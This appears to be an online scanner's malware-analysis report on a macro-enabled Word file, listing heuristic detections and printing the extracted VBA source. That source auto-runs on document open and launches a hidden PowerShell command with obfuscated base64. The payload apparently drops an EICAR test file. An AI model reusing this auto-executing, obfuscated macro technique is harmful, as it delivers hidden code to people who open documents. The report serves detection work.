MALICIOUS
172
Risk Score
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set objShell = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objShell = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3847 bytes |
SHA-256: cc3e99c728e6a0522d0043850177bc7104f246a6f9349fd17a16e9b64ffc288e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Module1.MyProc1
End Sub
Attribute VB_Name = "Module1"
Public Sub MyProc1()
Dim MyStr As String
Dim MyPayload As String
Dim MyCmd As String
MyPayload = "" & _
"J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**9*C**WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d*Bd*Do*OgBH*GU*d*BG*G8*b*Bk*GU*cgBQ*GE*" & _
"d*Bo*Cg*WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d**r*FM*c*Bl*GM*#QBh*Gw*RgBv*Gw*Z*Bl*HI*XQ*6*Do*R*Bl*HM*#wB0*G8*c**p*Ds*" & _
"I**k*EY*#QBs*GU*TgBh*G0*ZQ*9*CI*ZQBp*GM*YQBy*C4*d*B4*HQ*Ig*7*C**J*BG*Gk*b*Bl*F**YQB0*Gg*I**9*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*" & _
"Kw*i*Fw*Ig*r*CQ*RgBp*Gw*ZQBO*GE*bQBl*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**x*C**PQ*g*CI*VwBB*EE*MQBB*EU*O*BB*Ek*UQBC*FE*QQBD*FU*" & _
"QQBR*EE*QgBC*EE*RgBB*EE*VwB3*EE*M*BB*EY*dwBB*FU*QQBC*GE*QQBG*Gc*QQBO*FE*QQ*w*EE*QwBn*EE*VQBB*EI*ZQBB*EM*#wBB*E4*dwBC*EQ*QQBF*E0*" & _
"QQBL*FE*QQ*z*EE*S**w*EE*SgBB*EI*RgBB*EU*#wBB*FE*dwBC*EI*QQBG*Ek*QQ*i*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**y*C**PQ*g*CI*T*BR*EI*" & _
"V*BB*EY*UQBB*FE*UQBC*E8*QQBF*FE*QQBR*FE*QgBT*EE*RQBR*EE*T*BR*EI*QgBB*EU*N*BB*FY*QQBC*Eo*QQBG*Fk*QQBT*FE*QgBT*EE*RgBV*EE*VQB3*EE*" & _
"d*BB*EY*UQBB*FI*UQBC*FQ*QQBG*FE*QQBM*FE*QgBH*EE*RQBr*EE*V*BB*EI*RgBB*EM*RQBB*Eo*QQBC*Ek*QQBD*HM*QQBT*EE*QQBx*EE*QQ*9*D0*Ig*7*C**" & _
"J*B2*GE*b**x*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*d*BT*HQ*cgBp*G4*" & _
"Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*" & _
"d**x*Ck*KQ*7*C**J*B2*GE*b**y*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*" & _
"d*BT*HQ*cgBp*G4*Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*" & _
"Z*Bl*GQ*V*Bl*Hg*d**y*Ck*KQ*7*C**TgBl*Hc*LQBJ*HQ*ZQBt*C**LQBQ*GE*d*Bo*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**t*E4*YQBt*GU*I**k*EY*" & _
"#QBs*GU*TgBh*G0*ZQ*g*C0*SQB0*GU*bQBU*Hk*c*Bl*C**RgBp*Gw*ZQ*g*C0*RgBv*HI*YwBl*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DE*Ow*g*EE*Z*Bk*C0*" & _
"QwBv*G4*d*Bl*G4*d**g*C0*U*Bh*HQ*#**g*CQ*RgBp*Gw*ZQBQ*GE*d*Bo*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DI*Ow*g*EU*e*Bp*HQ*Ow*" & Chr(61)
MyStartCmd = Chr(112) & Chr(48) & Chr(119) & Chr(51) & Chr(114) & Chr(53) & Chr(104) & Chr(51) & Chr(108) & Chr(108) & Chr(32) & Chr(45) & Chr(110) & Chr(48) & Chr(51) & Chr(120) & Chr(49) & Chr(116) & Chr(32) & Chr(45) & Chr(119) & Chr(49) & Chr(110) & Chr(100) & Chr(48) & Chr(119) & Chr(53) & Chr(116) & Chr(121) & Chr(108) & Chr(51) & Chr(32) & Chr(104) & Chr(49) & Chr(100) & Chr(100) & Chr(51) & Chr(110) & Chr(32) & Chr(45) & Chr(51) & Chr(32)
MyPayload = Replace(MyPayload, "#", "a")
MyPayload = Replace(MyPayload, "*", "A")
MyStartCmd = Replace(MyStartCmd, "5", "s")
MyStartCmd = Replace(MyStartCmd, "3", "E")
MyStartCmd = Replace(MyStartCmd, "1", "I")
MyStartCmd = Replace(MyStartCmd, "0", "O")
MyCmd = MyStartCmd & MyPayload
Set objShell = CreateObject("WScript.Shell")
objShell.Run MyCmd, vbHide
Set objShell = Nothing
MyStartCmd = "You should not enable macros on unknown documents!"
MyPayload = "Your computer has just been infected with a virus."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbCritical, "Alert!"
MyStartCmd = "This time it was just EICAR Anti-Virus test file."
MyPayload = "If the antivirus did not react, check it."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbExclamation, "You are lucky"
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 35328 bytes |
SHA-256: 4b3d1c2a55802bb871d39451011cbbfa9a8b40d58bd6e8babe119a52f39a73f0 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.